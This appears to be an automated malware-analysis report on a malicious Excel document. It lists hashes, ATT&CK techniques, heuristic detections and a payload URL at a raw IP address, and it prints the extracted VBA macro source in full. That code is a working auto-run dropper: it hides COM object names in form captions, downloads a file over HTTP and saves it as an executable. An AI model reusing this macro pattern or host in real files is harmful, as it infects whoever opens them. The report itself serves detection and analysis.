Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c361bab21f7db6a…

MALICIOUS

Office (OLE)

135.4 KB Created: 2019-05-18 07:27:21 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: b67d94ef23ad11b8b77491b6695bfe36 SHA-1: 9fc75cbd459f570168f512fdf11a57ea24c08d9f SHA-256: 5c361bab21f7db6a58f23c6db38d88b35943544687bd8c643031add429ed135d
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Excel document containing VBA macros, specifically a Workbook_Open macro, which is designed to execute automatically. Heuristics indicate that the VBA code downloads and writes a file to disk using HTTP, and also invokes cmd.exe. The embedded URL http://195.123.245.185/04 is likely the source of the payload. This behavior is consistent with a macro-based dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6995805-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6995805-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write UserForm8.Stack1.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set UserForm8.ProAsO1 = CreateObject(UserForm8.Label2.Caption)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://195.123.245.185/04 Referenced by macro
    • http://t2.symcb.com0Referenced by macro
    • http://tl.symcd.com0&Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://t1.symcb.com/ThawtePCA.crl0Referenced by macro
    • http://tl.symcb.com/tl.crl0Referenced by macro
    • https://www.thawte.com/cps0/Referenced by macro
    • https://www.thawte.com/repository0WReferenced by macro
    • http://tl.symcb.com/tl.crt0Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2950 bytes
SHA-256: 06b80bf83fd2981e101736e12035ca73244b1c9f2cc66ea5ba09fead4b4055f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
UserForm7.Show



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Anykey()
Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")

ExecuteExcel4Macro "MESSAGE(True, ""release"")"
#If Juliet Then

Dim varSet5
Dim varSet6
Dim varSet7
Dim varSet9
Dim varSet8
Dim varSet11
Dim varSet12


#End If
End Sub



Attribute VB_Name = "UserForm8"
Attribute VB_Base = "0{AB52A03A-7401-4B25-B6F4-E086F274AC8B}{AC894CD9-20AD-4A0F-9216-DFA9926F9FE9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
 Public ProAsO1 As Object
Public Stack1 As Object
 Public ProAsO2 As Object
Public Stack2 As Object
 Public ProAsO3 As Object
Public Stack3 As Object



Public Sub Label5_Click()
Dim varSet5
Stack1.Open Me.Label3.Caption, Me.TextBox3.Tag, False
Dim varSet6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Sub stvb113()

Sheet1.Anykey


Set UserForm8.ProAsO1 = CreateObject(UserForm8.Label2.Caption)
Dim varSet4

Set UserForm8.Stack1 = CreateObject(UserForm8.Label1.Caption)
Dim varSet3
UserForm8.Label5_Click
UserForm8.Stack1.Send

With UserForm8.ProAsO1
    .Type = 1
End With
    UserForm8.ProAsO1.Open
With UserForm8.ProAsO1
    .write UserForm8.Stack1.responseBody

End With
#If Romeo Then
    UserForm8.ProAsO1.savetofile "stt.e" & "xe", 2

#End If

End Sub

Attribute VB_Name = "UserForm7"
Attribute VB_Base = "0{01F2D530-2AD3-4A8D-82B0-809C55777019}{D9BCF7FE-2964-4251-B30A-5C899DC758EA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

    Dim c As New Class1
c.stvb113

    ExecuteExcel4Macro UserForm8.TextBox3.Text
ExecuteExcel4Macro "MESSAGE(True, ""9999"")"
Unload Me
End Sub

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